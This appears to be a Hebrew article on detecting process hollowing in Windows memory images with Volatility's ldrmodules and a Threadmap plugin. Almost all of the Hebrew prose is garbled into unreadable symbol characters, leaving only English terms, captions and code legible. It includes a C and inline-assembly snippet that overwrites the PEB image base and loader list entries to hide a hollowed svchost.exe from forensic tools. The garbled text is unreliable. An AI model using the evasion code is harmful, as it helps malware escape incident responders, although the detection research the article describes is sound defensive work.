ˢ ˪˪˩-DLL-˫˧ . 
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 ˫˸ˣ˞˟ ˶˟ˣˡˬDLL-˫˧ ˸˪˧˥˸˟ ˠ˴ˣ˧ ˨˧˪ˢ˸ˢ ˪˷ ˢ˴˶ˢˢ ˳˟ˣ˵ .ˢˮˣ˷ ˶ˡ˯˟ ˫˰˲ ˪˩ ˫˧ˠ˴ˣˬ ˫ˢ ˨˞ ,

InLoadOrderModuleList ˣ˰˪ ,˭ˣ˶˩˧ˤ˪ ˭˰˦ˮ˷ ˭ˣ˷˞˶ˢ ˳˟ˣ˵˪ ˟˷˥ˮ ˞ˣˢ ˧˩˟ ˰˧˲ˣ˧ ˞˪ ˞ˣˢ ˸˞ˤ ˸ˬ-

InInitializationOrderModuleList  ˸˧˧˴˵ˮˣ˲ ˣ˪˴˞ ˭˧˞ ˧˩DLLMain .ˢˮˣ˷ ˨˶ˡ˟ ˳˶ˣˬ ˞ˣˢˣ 

Ldrmodules ˢ ˪˩ ˸˞ ˞˧˴ˣˬ-Image Files ˢ ˸˞˴ˣˢ ˧"˰) ˨˧˪ˢ˸ˢ ˪˷ ˭ˣ˶˩˧ˤ˟ ˫˧ˮˣ˰˦ˢ-VAD-˫˧  ˫˰File 

Object  ˫˰MZ magic ˢˮˣˬ˸ ˪˷ ˦˪˲˪ ˶ˣˤ˥ˮ ˫˞ .˸ˣˬ˧˷˶˪ ˫˸ˣ˞ ˢˣˣ˷ˬ ˞ˣˢˣ (1-4 ˷ ˸ˣ˞˶˪ ˪˩ˣˮ-

svchost.exe ˢ ˪˷ ˸ˣˬ˧˷˶˟˷ ˞˧ˢ ˢ˟˧˯ˢ .˸ˣˬ˧˷˶ˢ ˭ˬ ˸˥˞ ˱˞˟ ˪ˣ˩˧˟˩ ˞˴ˬˮ ˞˪-LDR  ˭˩ˡˣ˰ˬ ˞˪

 ˪˷ ˷ˡ˥ˢ ˫ˣ˵˧ˬˢsvchost.exe  ˪˷ ˦˪˲ˢ ˸ˣ˞˴ˣ˸ ˸˞ ˸ˣˮ˷˪ ˧ˡ˩ .˭˰˦ˮ˷ldrmodules  ˰˦˵ˢ ˸˞ ˱˧˯ˣˮ

 :˞˟ˢ ˡˣ˵ 

hFile = CreateFile ( "C: \ \ Windows \ \ SysWOW64\ \ svchost.exe" , 

GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);  

 

hMap = CreateFileMapping ( hFile , NULL, PAGE_READONLY, 0, 0, NULL);  

LPVOID dw ;  

dw = MapViewOfFile ( hMap, FILE_MAP_READ, 0, 0, 0);  //map the svchost file  

VirtualLock ( dw, sizeof (& dw));  // make sure that it won't be paged  

 

LONG_PTR ldr_addr ;  

PPEB_LDR_DATA ldr_data ;  

PLDR_MODULE LdMod;  

DWORD * bad_address = ( DWORD *) dw;  

 

__asm mov eax ,  gs :[ 0x60 ]  // using the GS register to get to the peb  

__asm add eax ,  0x10  // get the image base address  

__asm mov edx ,  bad_address  

__asm mov [ eax ],  edx // change IBA  

 

__asm mov eax ,  gs :[ 0x60 ]  // using the GS register to get to the peb  

__asm add eax ,  0x18  // get the LDR  

__asm mov eax ,  [ eax ]  

__asm add eax ,  10h  // get the InLoad list  

__asm mov eax ,[ eax ]  

__asm add eax ,  30h  // go to where old svchost address was  

__asm mov edx ,  bad_address  

__asm mov [ eax ],  edx // overwrite it with the bad address  

 

 ˸˞ ˟ˣ˷ ˳˧˶ˮ ˭˩ˬ ˶˥˞˪ldrmodules :ˢ˞˟ˢ ˢ˞˴ˣ˸ˢ ˸˞ ˪˟˵ˮˣ 

 

] ˢˮˣˬ˸1-5 ˪˷ ˨ˣ˸˧˥ ,ldrmodules ˟-Volatility ˟-KSLSample.vmem ˨˧˪ˢ˸ˢ ˪˰ svchost.exe ˫˰PID 2460 [ 

 ˢˮˣˬ˸˟1-5 ˢ ˭˧˟ ˢˬ˞˸ˢ ˸ˬ˧˧˵˷ ˣ˧˷˩˰ ˸ˣ˞˶˪ ˭˸˧ˮ-VAD ˢ ˢ˲ˣˬˬ ˣ˧˪˞-svchost.exe  ˭˧˟˪ ˷ˡ˥ˢ

˟ ˣ˧˪˞ ˢ˰˟˴ˢˢ-LDR Listsˬ ˧ˣ˟˥ ˶˞˷ˮ ˨˧˪ˢ˸ˢ ˱˯ˣˮ˟ .-malfofind, malfind x-hollowfind ˫˧ˬ˧˧˵ .DLL-

˫˧  ˫˧ˬ˧˧˵ ˱˯ˣˮ˟ ,˭ˣ˶˩˧ˤ˟ ˫˧˲ˣˬˬ ˞˪ ˫ˢ˷ ˫˧˞˶ˮ˷DLL-˫˧ ˢ˷ ˞˧ˢ ˢ˟˧˯ˢ .˫˧˲ˣˬˬ ˭˩˷ ˫˧˶˥˞-

payload ˟ ˷ˬ˸˷ˬ ˣˮ˪˷-DLL-˫˧ ˬ ˫˧˶˥˞-svchost.exe  ˸˞ ˣˮ˶˯ˢ˷˩ ˧˩ˣsvchost.exe  ˫˰˲˟ ˧˶ˣ˵ˬˢ
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 ˫ˠ ˣˮ˶˯ˢ ,ˢˮˣ˷˞˶ˢDLL- .˫˧˲ˣˬˬ ˣ˧ˢ˷ ˫˧ˢ ˸˞ ˸ˣˮ˷˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˭ˣ˶˵˧˰˟-LDR Lists  ˭ˣˣ˧˩) ˞ˣˢ ˫ˠ˷

˟ ˞˴ˬˮ-User-mode˧˷ ˧ˡ˩  ( ˞˴ ˪˷ ˷ˣˬ˧˷ˢˬ ˭˧ˬ˞ ˶˸ˣ˧ ˦˪˲ldrmodules . 

˶˵˥ˬˢ 

 ˪˷ ˢ˵˧ˮ˩˦ˢ ˸˞ ˸˥˵˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˨˧˞ ˣˮ˧˞˶Process Hollowing  ˞˧ˢ˷ ˸ˮˬ ˪˰ ˦˰ˬ ˢ˸ˣ˞ ˡˡ˥˪ˣ

 ˸˞ˤ ˸ˣ˷˰˪ ˣˮ˪ˣ˩˧˷ ˸˧˶˵˧˰ˢ ˢ˟˧˯ˢ .˧ˣˢ˧ˤˢ ˸ˣ˦˧˷ˬ ˢ˧ˣ˟˥ ˶˞˷˧ˢ˪ ˥˧˪˴˸ ˶ˬˣ˪˩ ,˸˧˦ˮˣˣ˪˶ ˢ˧ˢ˸ ˭˧˧ˡ˰

 ˭ˣ˶˩˧ˤ˟ ˞˴ˬˮ˷ ˰ˡ˧ˬ ˪˰ ˫˧˩ˬ˸˯ˬ ˫˧ˮ˧ˠ˞˪˲ ˫˸ˣ˞˷ ˞˧ˢUser-mode  ˞˧ˢ ˢ˧˰˟ˢ .ˢ˞ˣˣ˷ˢ ˶ˣ˵ˬ˩

˟ ˫˧ˮˣ˸ˮˢ ˧ˮ˟ˬ ˸˞ ˸ˣˮ˷˪ ˪˵ ˸˧˯˥˧˷-User-mode ˞˸ˢ˪ ˧ˡ˩ ˶ˠ˸˞ˢ .˫˧˧ˣ˟˥ ˶˞˷˧ˢ˪ˣ ˣˮˬ˴˰ ˸˞ ˫˧

˟ ˫˧ˮ˟ˬ ˫˧ˬ˧˧˵ ˫˞ ˞ˣˢ ˣ˸˧˞ ˣˮˡˡˣˬ˸ˢ˷-Kernel-mode  ˞ˣ˴ˬ˪ˣ ˸ˣ˞ˣˣ˷ˢˢ ˸˞ ˫˸˶ˤ˰˟ ˰˴˟˪ ˪˩ˣˮ˷

Process Hollowing .˸ˣ˲˯ˣˮ ˸ˣ˵˶ˤˢ ˫ˠ ˧˪ˣ˞ˣ  ˫ˣ˷˶ ˢˬ ˭˧˟˪ ˳ˣ˶˪ ˶ˣˬ˞ ˢˬ" ˭˧˟ ˢ˞ˣˣ˷ˢ ˪˷ ˭ˣ˧˰˶ˢ

˧˶˥˞ .˟ˣ˦ ˭ˣ˧˰˶ ˣ˯˧˯˟˟ ˭˧˧ˡ˰ "˭ˣ˶˩˧ˤ ˰˦˵ ˣ˸ˣ˞˟  ˫˧˞˴ˬˮ˷ ˫˧ˮ˧˧ˮ˰ˬ ˫˧˩˶˰ ˧ˮ˷ ˣˮ˧˞˶ ˢ˶˴˵ ˢ˶˧˲˥

 ˢˮ˟ˬ˟_ETHREAD ˬ)-Windows Internals 6th Edition :( 

¶ StartAddress - ) ˰˧˟˴ˬ ˣˮ˧ˢpointer ˢ˧˴˵ˮˣ˲˪ (ntdll.dll!RtlUserThreadStart ˧˴˵ˮˣ˲ ˞˧ˢ˷˧ ˸

 .ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˧"˰ ˰˟˵ˮ ˢ˩˶˰˷ ˸˲˦˰ˬ 

¶ Win32StartAddress - ) ˰˧˟˴ˬ ˣˮ˧ˢPointerˢ ˧"˰ ˳ˣ˶˸˷ ˢ˧˴˵ˮˣ˲˪ (-Thread˴ˬˢ .˟ ˢ˧˴˵ˮˣ˲˪ ˰˧

ˢ ˸˧˴˵ˮˣ˲˟ ˷ˣˬ˧˷ ˸˰˟ ˶˟ˣ˰-API CreateThread ˸ˣˬˠˡˢˢˬ ˭ˣ˟˷˥ˬˢ ˨˧˪ˢ˸ ˸˞ ˥˵˧ˮ ˫˞ .

˸ˣˬˡˣ˵ˢ ,-sWin32StartAddress ˟-_ETHREAD ˢ ˪˷-Main Thread ˧ ˰˧˟˴ ˸˧˧˴˵ˮˣ˲˪main  ˪˷

˟ ˸˞˴ˬˮˢ ˳˟ˣ˵ˢ-.text section .( 

 ˪˷ ˧ˣˮ˧˷ˢWin32StartAddress  ˟˪˷) ˰ˮˬˮ ˧˸˪˟ ˞ˣˢ7  ˪˷ ˶ˣ˞˧˸˟Process Hollowing ˰˧˟˴ˬ ˞ˣˢˣ (

 ˪˷ ˨˶˰ˢ ˸˞ ˣˮ˪ ˷˧˷ ˰ˠ˶˟ .˳˶ˣˬ ˸ˣ˧ˢ˪ ˶ˣˬ˞˷ ˡˣ˵ ˰˦˵˪Win32StartAddress ˢ ˸˞ ˞ˣ˴ˬ˪ ˪˩ˣˮ-VAD 

 .˫˧ˡ˧˷˥ˬ ˫˧ˮˬ˧˯ ˞ˣ˴ˬ˪ ˸ˮˬ ˪˰ ˸ˣ˞ˣˣ˷ˢ ˶˲˯ˬ ˳˧˶ˢ˪ ˭˩ˬ ˶˥˞˪ ˪˩ˣˮ .˭ˣ˶˩˧ˤ ˶ˣˤ˧˞ ˣ˸ˣ˞ ˪˷ 

ˣ˥ˮˢ˯˧˯˟ ˸ 

 ˫˧ˮ˟ˬ ˧ˮ˷ ˣˮ˞˴ˬ˷ ˧˶˥˞Kernel ˫˧˵ˣ˥ ˧ˡ˧˪ ˣˮ˷˟˧ˠ˷ ˸ˣ˥ˮˢ ˢˬ˩ ˣˮ˰˴˧˟ ,˸ˣ˞ˣˣ˷ˢ ˫ˢ˟ ˰˴˟˪ ˪˩ˣˮ˷ ˫˧˧

 :˨˧˪ˢ˸ ˡ˧˷˥ˢ˪ ˸ˮˬ ˪˰ 

¶  ˪˩VAD ˷-thread  ˪˧˩ˢ˪ ˟˧˧˥ ˣ˧˪˞ ˰˧˟˴ˬFile Object  ˠˣ˯ˬ ˸ˣ˧ˢ˪ˣImage File ˣˮ˰ˠˢ ˣˤˢ ˢˮ˵˯ˬ˪ .

˟ ˧ˣˮ˧˷ ˪˩ ˣˮ˶˵˥˷ ˧˶˥˞-VAD Trees  ˣˮ˥ˮ˞˷ ˣˮ˧˞˶ .˫˧˧ˣ˲˧ˬˣ ˭ˣ˶˩˧ˤ˪ ˸ˣ˞˴˵ˢ ˶˲˯ˬ ˣˮ˰˴˧˟˷ ˶˥˞˪

ˢ ˸˞ ˠ˧˧˸˧˷ ˶˦ˬ˶˲ ˫ˣ˷ ˶˧˟˰ˢ˪ ˫˧˪ˣ˩˧ ˞˪-VAD ˩-Image File ˸ˣ˲ˬ˪ ˣˮ˥˪˴ˢ ˫˞ ˫ˠ .VAD  ˫˰

File Object  ˢ˲ˣˬˬ ˣ˧˪˞svchost.exe ˢ ˠˣ˯ (ˣˮˬˠˡˢ˷ ˣˬ˩)-VAD  ˢ˧ˢ˧ ˞˪Image File . 

¶  ˸ˣ˥˲˪ ˸ˣ˧ˢ˪ ˟˧˧˥ ˨˧˪ˢ˸ ˪˩˪thread ˥˞) ˳˟ˣ˵ ˫˰ ˭ˣ˶˩˧ˤ˟ ˶ˣˤ˧˞˪ ˰˧˟˴ˬ˷ ˡimage file .˭ˣ˰˦ ( 

¶ Thread ˴ˬˢ˟˪ ˰˧-VAD ˢ˷-File Object  ˞ˣˢ ˣ˪˷exe  .ˡˣ˷˥˩ ˟˷˥˧˧ ˧˶ˣ˵ˬˢ ˨˧˪ˢ˸ˢˬ ˢˮˣ˷˷ 

¶  ˸ˣ˞˧˶˵JMP/CALL ˢ ˰˧˟˴ˬ ˣ˧˪˞ ˭ˣ˶˩˧ˤˢ ˰˦˵˟ ˣ˞˴ˬˮ˷-Win32StartAddress ˪ ˸ˣ˰˧˟˴ˬ˷-VAD 

.˸ˣˡˣ˷˥˩ ˣ˟˷˥˧˧ ˢˮˣ˷ 
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 ˣˮ˟˸˩ ˫˧˵ˣ˥ˢ ˷ˣ˟˧ˠ ˧˶˥˞plugin .ˣˮ˰˴˧˟˷ ˸ˣ˵˧ˡ˟ˢ ˸˞ ˫˷˧˧˷  ˟˪ ˫˧˷˪ ˷˧ ˱˶ˠˢ ˸˞ ˭˧˟ˢ˪ ˸ˮˬ ˪˰

 :˸ˣ˞˟ˢ ˸ˣˡˣ˵ˮ˪ 

¶ ˷ ˰ˠ˶˟-thread  ˨˷ˬˢˢ ˸ˣ˵˧ˡ˟ ˫˞ ˫ˠ ˡˣ˷˥ ˟˷˥˧˧ ˞ˣˢ ˢˬˣˡ˞ ˢ˧˶ˣˠ˦˵˪ ˰˧ˠˢ ˶ˬˣ˪˩ ,ˡˣ˷˥ ˞˴ˬˮ

 :ˢˬˠˣˡ˪) ˸ˣ˧˪˧˪˷ ˸ˣ˞˴ˣ˧Thread ˢ˷-Win32StartAddress ˪ ˰˧˟˴ˬ-VAD ˪˪ ˞File Object  ˟˷˥˧˧

 ˫ˣ˷ ˣ˞˴ˬˮ ˞˪ ˭˩ˬ ˶˥˞˪ ˫˞ ˫ˠ ,ˡˣ˷˥JMP/CALL .(˫˧ˡˣ˷˥ 

¶ ˢ˵ˣ˶˧˪ ˢ˶ˤ˥˟ ˢˮ˸˷˸ ˞˪ ˢˬˣ˸˩ ˢ˧˶ˣˠ˦˵ .ˢ˶˧˟˯ ˢˡ˧ˬ˟ ˢˡˣ˷˥ ˸˟˷˥ˮˣ 

¶ .ˢ˵ˣ˶˧˪ ˸ˣˮ˸˷ˢ˪ˣ ˨˧˪ˢ˸ˢ ˧ˡ˩ ˨ˣ˸ ˢ˩ˣˤˬ ˸ˣ˧ˢ˪ ˢ˪ˣ˩˧ ˢ˟ˣˢ˴ ˢ˧˶ˣˠ˦˵ 

¶ .ˢˮ˧˵˸˪ ˟˷˥˸ ˢ˵ˣ˶˧ ˢ˧˶ˣˠ˦˵ 
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 ˫˰ ˥ˣ˸˧ˮThreadmap 

 ˧˲˩ˢ ˪˷ ˢ˶˦ˬˢ ,˫ˡˣ˵ˬ ˶ˬ˞ˮ˷-plugin  ˯˯ˣ˟ˬ ˥ˣ˸˧ˮ˟ ˷ˬ˸˷ˢ˪ ˞˧ˢ ˣˮ˪˷Kernel-mode ˫ˣ˵ˬ˟ ,

 ˯˯ˣ˟ˬUser-mode .˫˧˧ˮˣˡˤ ˫˧˷ˣ˟˧˷ ˰ˣˮˬ˪ ˸ˮˬ ˪˰ 

 ˪˩ ˪˷ ˧ˣ˲˧ˬ ˪˰ ˸˯˯ˣ˟ˬ ˣˮ˦˵ˮ ˢ˟ ˢ˷˧ˠˢThread ˪-VAD  ˰ˡ˧ˬ ˶˸ˣ˧˷ ˢˬ˩ ˠ˧˷ˢ˪ ˭ˣ˧˯˧ˮˣ ,ˣ˪˷ ˫˞ˣ˸ˢ

ˢ ˣ˧˪˞ ˨˧˪ˢ˸ˢ ˧˟ˠ˪-Thread ˟ˬ ˧ˣ˲˧ˬˢ .˨˧˧˷ ˦˵˧˧˟ˣ˞ ˪˩˟ ˸˞˴ˬˮˢ ˢ˪˥˸ˢˢ ˸˟ˣ˸˩ ˪˰ ˯˯ˣ

_ETHREADˢ ˣ˟ ˭ˣ˶˩˧ˤ˟ ˶ˣˤ˞˪ ˰˧˟˴ˬˢ ,-Thread  ˸˞ ˪˧˥˸ˬˣ˸˴˧˶ˢ ˸˞˧˴ˬ ˧ˡ˧ ˪˰ .-VAD ˦ˣ˷˲ ˢ˧ˢˮ ,

.˞˪ ˣ˞ ˧ˮˣˡˤ ˣˢ˷˪˩ ˨˧˪ˢ˸ ˫˞ ˦˧˪˥ˢ˪ ˶˸ˣ˧ 

˟ ˫˧˞˴ˬˮ ˫˧˞˟ˢ ˫˧ˮ˧˧˲˞ˬˢ-VAD  :˸ˣ˧ˮˣˡˤ ˪˰ ˡ˧˰ˢ˪ ˫˧˪ˣ˩˧ˣ 

1. ˪-VAD  ˭˧˞File Object 

2. JMP  ˣ˞CALL ˢ ˸˥˸ ˞˴ˬˮˢ ˡˣ˵ˢ ˸˪˧˥˸˟-VAD  ˶˥˞ ˶ˣˤ˞˪ ˞˧ˢ ˢ˴˧˲˵ˢ ˫˞ ˡ˥ˣ˧ˬ˟ ˡˣ˷˥ ˟˷˥ˮ

.˭ˣ˶˩˧ˤ˟ 

3. s-VAD ˪ ˨˧˧˷ˢ ˦˵˧˧˟ˣ˞˩ ˭ˬˣ˯ˬ ˞˪-Image ˭ˣ˰˦ 

4. s-File Object ˶˩ˣˬ ˞˪ ˳˟ˣ˵ ˭˧˧˴ˬ 

.˨ˣˬˮ ˞ˣˣ˷ ˸ˣ˞˶˸ˢ ˶ˣ˰˧˷ˣ ,˸ˣˮ˧ˬ˞ ˸ˣ˞˴ˣ˸ ˥˧˦˟ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˣ˪˞ ˸ˣˮˣ˩˸˟ ˷ˣˬ˧˷ ˫˰ 

        

Suspicious process name, PID and PPID 

Reasons why the process is 

marked as suspicious 

Reason why this thread is 

marked as suspicious 

¢ƘǊŜŀŘΩǎ ŜƴǘǊȅ Ǉƻƛƴǘ ±!5Ωǎ information 

Disassembly 

ƻŦ ǘƘǊŜŀŘΩǎ 

entry point 

¢ƘǊŜŀŘΩǎ L5 ŀƴŘ ǎǘŀǘŜ  

 ˢˮˣˬ˸2-1 ˪˷ ˦˪˲ ,Threadmap ˟-Volatility  ˪˰KSLSample.vmem  ˪˷PID :2460  
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 ˰ˡ˧ˬ ˵ˣ˪˟ ˪˩ ˶˷˞˩ ˫˧˩˧˪ˢ˸ ˵˪˥ˬ ˦˪˲ˢ .˳ˣ˥ˮ ˞˪ ˰ˡ˧ˬ ˶˧˸˯ˢ˪ ˧ˡ˩ ˡ˟˪˟ ˡ˥˞ ˨˧˪ˢ˸˪ ˭ˣˮ˧˯ ˣˮ˧˷˰

ˢ ˪˰ ˱˯ˣˮ ˰ˡ˧ˬ ˪˧˩ˬ-Thread-˫˧ :˶˷˞˩ ˡˣ˷˥˩ ˭ˬˣ˯˧ ˨˧˪ˢ˸ .˨˧˪ˢ˸ ˣ˸ˣ˞ ˪˷ 

¶  ˣ˪˧˲˞ ˭˧˞Thread  ˡ˥˞˪ ˰˧˟˴ˬˢ-Image ˢ˷ ˣ˞ ,˨˧˪ˢ˸ ˪˷-Thread  ˞˴ˬˮ 'ˠˬ˧˞˪ ˰˧˟˴ˬ˷ ˧ˡ˧˥˧ˢ

.ˢ˧˧ˢ˷ˢ˟ 

¶ Thread ˨˧˪ˢ˸ˢ ˨ˣ˸˟ ˞˴ˬˮ ˡˣ˷˥ 

ˢ ˪˩ ˢˮˣ˷˞˶ˢ ˢ˧˶ˣˠ˦˵˪ ˫˞ˣ˸ ˨˧˪ˢ˸ˢ ˫˞-Thread-˫˧ ˢ ˵˶ ,ˢ˧˧ˮ˷ˢ ˢ˧˶ˣˠ˦˵˟ .˦˪˲˟ ˣ˯˲ˡˣ˧-Thread-

˫˧ " ˸˶˸ˣ˩ˢ ˸˥˸ ˦˪˲˟ ˣ˯˲ˡˣ˧ ˫˧ˡˣ˷˥˩ ˣˮˬˣ˯˷Reason." 

 ˢˮˣˬ˸˟2-1  ˡˣ˷˥ˢ ˨˧˪ˢ˸ˢ ˸˞ ˸ˣ˞˶˪ ˭˸˧ˮsvchost.exe ˢ ˪˩ ˶ˬˣ˪˩ ˸ˣ˧˶ˣˠ˦˵ˢ ˧˸˷˪ ˫˧˞˸ˬ˷-

Thread-˫˧  ˵˶ ˷˧ ˢˤ ˢ˶˵ˬ˟) ˫˧˯˲ˡˣˬ ˣ˪˷Thread  .(ˡ˥˞Thread ˪˷ ˫ˣ˷ˬ ˡˣ˷˥˩ ˭ˬˣ˯ˬ ˢˤ-VAD  ˭˧˞

File Objectˣˮ˧˞ ˣ˪˷ ˠˣ˯ˢˣ ,File  Imageˢ ˪˷ ˸ˣ˞˷˶ˢˢ .-VAD  ˭ˢˣ ˣ˯˲ˡˣˢPAGE_READWRITE .VAD  ˢˤ

˧˩ˬˢ ˸˞ ˪-payload ˢ ˪˷ ˸ˣ˞˷˶ˢˢ ˸˞ ˣˮ˧ˮ˧˷˷ ˨˧˪ˢ˸ˢ ˢˤ˷ ˭˧˧˴˪ ˷˧ .˨˧˪ˢ˸ˢ ˪˷ ˧ˮˣˡˤˢ-VAD   ˪˰

.(ˢ˪˰ˬ˪ ˸ˣ˞˶˪ ˭˸˧ˮ) ˫˧˶˥˞ ˫˧ˮ˧ˠ˞˪˲ˬ ˵ˬ˥˸ˢ˪ ˸ˮˬ 

 ˸˥˞ ˢˬˠˣˡ .˞ˣˣ˷ ˸ˣ˞˶˸ˢ˟ ˪˵˸˧ˢ˪ ˭˸˧ˮ ˫ˢ˟ ˫˧˶˵ˬ ˢˬ˩ ˫ˮ˷˧-  ˨˧˪ˢ˸CSRSS  ˰˧˲ˣ˧ ˡ˧ˬ˸˷

˪˟ˬ ˧˦ˬˣ˦ˣ˞ ˭˲ˣ˞˟ ˭ˮ˯˪ ˭˸˧ˮ ˞˪ˣ ˞ˣˣ˷ ˸˞˶˸ˢ˩ ˨˧˪ˢ˸ ˣˮ˧ˢ ˢˤ ˨˧˪ˢ˸ .ˣˮ˪˷ ˧ˣˢ˧ˤˢ ˸ˣ˪ˣ˩˧ ˸˞ ˭˩˯˪ ˧

ˢˣ ˶˥˞ˬ ˧ˡˣ˥˧-Thread-˫˧   ˣˢ˷ˤ˧˞˪ ˫˧˰˧˟˴ˬ ˞˪ ˣ˪˷image file  ˣ˪ ˸ˣ˷˰˪ ˭˸˧ˮ ˞˪˷ ˶ˬˣ˞ ˢˤ ˭˧˞ ˨˞)

hollowing  .(˨˧˪ˢ˸ˢ ˪˰ ˪˩˸˯ˢ˪ ˡ˧ˬ˸ ˧˞ˡ˩˷ ˨˩ 

˸ˣˮˣ˷ ˸ˣˬ˶ˣ˲˦˪˲˟ ˢ˩˧ˬ˸ ˧˟ˠ˪ ˢ˶˰ˢ 

 ˪˷ ˫˧˪˧˲ˣ˶˲˟ ˨ˣˬ˸˪ ˞˪ ˣˮ˶˥˟ ˣˤ ˢ˯˶ˠ˟XP  ˟ˣ˦ ˫˞˸ˣˬ ˞˪ ˰ˠ˶˩ ˣˮ˪˷ ˭ˣ˶˸˲ˢ˷ ˢˡ˟ˣ˰ˢ ˪˪ˠ˟

 ˸˥˸ .ˣˤ˩˷ ˢ˟˧˟˯˪XP˪ ˫˧˩˧˧˷ˢ ˭ˣ˶˩˧ˤ ˧˶ˣˤ˞˪ ˟ˣ˸˩˪ ˭˸˧ˮ ,-Kernel ˬ-User-mode ˸˶˸˧˧ˬ ˣˤ ˢˡ˟ˣ˰ˣ ,

˷ ˨˧˞˪ ˢ˶ˣ˷˵ ˸˲˯ˣˮ ˢ˧˰˟ .ˣˮ˪˷ ˸ˣ˧˯˧˯˟ˢ ˶˵˥ˬˢ ˸ˣ˥ˮˢˬ ˢ˟˶ˢ-Kernelˢ ˸ˣ˩˶˰ˬ˪ ˨˧˧˷ˢ , ˢ˪˰˲

 ˪˰ ˰ˡ˧ˬ ˭˯˥˞ˬ ,˶˸ˣ˧ ˸ˣˮ˷˧Thread-˫˧ ˪ ˶˷˲˞ˬ ˞˪ ˧ˮˣ˷ˢˬ ˵˪˥ ˶˰˴ˢ ˢ˟˶ˬ˪ˣ-plugin .ˢ˩˪ˢ˩ ˡˣ˟˰˪ 

Flags ˫˧˧˪ˮˣ˧˴˲ˣ˞ 

˪ ˶˧˟˰ˢ˪ ˭˸˧ˮ˷ ˫˧˪ˠˡ ˧ˮ˷ ˫ˮ˷˧-plugin :ˢˮˣ˷ ˦˪˲ ˪˧˟˷˟ 

¶ -p (--PID) - ˫˧˩˧˪ˢ˸ ˪˷ ˢ˴ˣ˟˵ ˣ˞ ˡ˥˞ ˧˲˧˴˲˯ ˨˧˪ˢ˸ ˪˰ ˳˶ (˥ˣˣ˶˟ ˡ˶˲ˣˬ) 

¶ -v (--verbose) - ˢ ˸˞ ˨˧˪ˢ˸ ˪˩ ˶ˣ˟˰ ˯˧˲ˡˬ-Thread-˫˧  ˫ˠˣ ˫˧˩ˣˤˬ ˫˧˩˧˪ˢ˸ ˫ˠ ˪˪ˣ˩ ˦˪˲ˢ .ˣ˪˷

Thread-˫˧ ˣ ˸ˣ˶˰ˢ ˫˰ ˫˧˯˲ˡˣˬ ˫˧ˮˬˣ˯ˬ ˫˧˩˧˪ˢ˸ .˫˧ˮˬˣ˯ˬ ˫˧˩˧˪ˢ˸ ˪˷-Thread-˫˧  ˫˧˯˲ˡˣˬ

 ˸˶˸ˣ˩ˢ ˸˥˸"Reason " ˢˮˣˬ˸)2-1( 

 ˞ˣˢ ˨ˬ˸ˮ ˱˯ˣˮ ˪ˠˡ- D (--dump-dir)  ˰˴˟ˬ˷dump ˪-VAD  ˸ˡˣ˵ˮ˪ ˶ˣ˷˵ˢ ˫˪˷ ˪˷ ˢ˪˥˸ˢThread 

 ˷˧ ˫˞ .˭ˬˣ˯ˬ ˨˧˪ˢ˸ˢ ˶˷˞˩ ˵˶ ˡ˟ˣ˰ .ˣˢ˷˪˩JMP/CALL ˢ ˧ˮ˷ ,˶˥˞ ˭ˣ˶˩˧ˤ ˥ˣˣ˦˪ ˫˧ˮˣ˲ˢ-VADs ˣ˯˲ˡˣ˧ 
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˫ˣ˩˧˯ 

Process Hollowing  ,ˣˮ˧˷˰ ˣˮ˥ˮ˞˷ ˠˣ˯ˢˬ ˢ˷˰ˮ ˶˵˥ˬ ˦˰ˬ ˸˧˯˥˧ ˸˞ˤ ˪˩˟ˣ ,˭ˬˤ ˢ˟˶ˢ ˧ˡ ˶˟˩ ˫˧˧˵

 ˠ˧˷ˢ˪ ˭˸˧ˮ˷ ˶˸ˣ˧˟ ˫˧˟ˣ˦ˢ ˫˧˪˩ˢ ˸˞ ˣˮ˥˵˪ .ˢˤ˩ ˢ˵˶ˤˢ ˠˣ˯˟ ˸ˣ˷ˬ˸˷ˬ ˸ˣ˵ˤˣˮ ˭ˣˬˢ˷ ˸ˣ˶ˬ˪

 ˣ˪˞˩ ˫˧˪˩ˬ ˵ˬ˥˸ˢ˪ ˪˵ ˨˩ ˪˩ ˸ˣ˧ˢ˪ ˶ˣˬ˞ ˞˪˷ ˭ˣ˧ˠˢˢ ˭ˬ .˫ˢˬ ˞˟˥˸ˢ˪ ˪˵ ˭˧˧ˡ˰ ˢˬ˩ ˣˮ˧˞˶ˢˣ

˰ˢ ˭˸ˮ˧ˢ˟ ˡ˥ˣ˧ˬ˟ ˢ˷ˡ˥ ˢ˦˧˷˟ ˷ˣˬ˧˷ ˧ˡ˧ ˪˰ .ˢ˴ˣ˲ˮ ˨˩ ˪˩ ˞˧ˢ ˣˤ ˢ˦˧˷˟ ˡˣ˵ ˸˵˶ˤˢ˷ ˢˡ˟ˣ

˟ ˰ˡ˧ˬ ˪˰ ˸˯˯˟˸ˬ˷-Kernel  ˸ˣ˵ˤˣˮ ˫˰ ˡˡˣˬ˸ˢ˪ ˵˧ˣˡˬ ˶˸ˣ˧ˣ ˟ˣ˦ ˶˸ˣ˧ ˧˪˩ ˫˧˶˵ˣ˥˪ ˫˧ˮ˸ˣˮ ˣˮ˥ˮ˞

.˫˧˴ˣ˲ˮ ˫˧ˬˣ˧˞ ˧ˮ˲ˬ ˢˮˠˢ ˧˩˧˪ˢ˸ ˪˰ ˫˧˪˵ˬ ˫˞˸ˢ˟ˣ ,˶˟˰˟ ˣ˯ˣˮ ˞˪˷ ˫˧˩˶ˡ˟ 

 

˫˧˟˸ˣ˩ˢ ˪˰ 

ˣˮ˞ ˴ˣ˟˵ ˸˫˧˶˵ˣ˥ ,:˫˧˶˟˥ ˢ˟ ˪˧˧˵ ˯ˮ ,˱˥˷ ˭ˣ˦˰ ˫˰˧˪ˣ ˭˧˧˦˷ ˫˧ˡˠ˞˸ˬˢ ,˸˥˸ ˫˷ˢ ksl group. 

ˣˮ˧˸˷ˣ˪˷ ˫˧˵˯˰˸ˬ ˫ˣ˥˸˟ ,˞˴˧ˣ ˣˮ˪ ˡˣ˟˰˪ ˡ˥˧ ˸˶ˠ˯ˬ˟ ˸˧˞˟˴ˢ. :˶˵˟˪ ˧˷˲ˣ˥ ˣ˷˧ˠ˶˸ 

Github: https://github.com/kslgroup 

˥ˬ˷ˮ ˪˩˪ ˢ˪˞˷ / ˢˮ˰˦ / ˢˮ˰ˬ ,:˪˧˧ˬ˧˞ˢ ˸˟ˣ˸˩˟ 

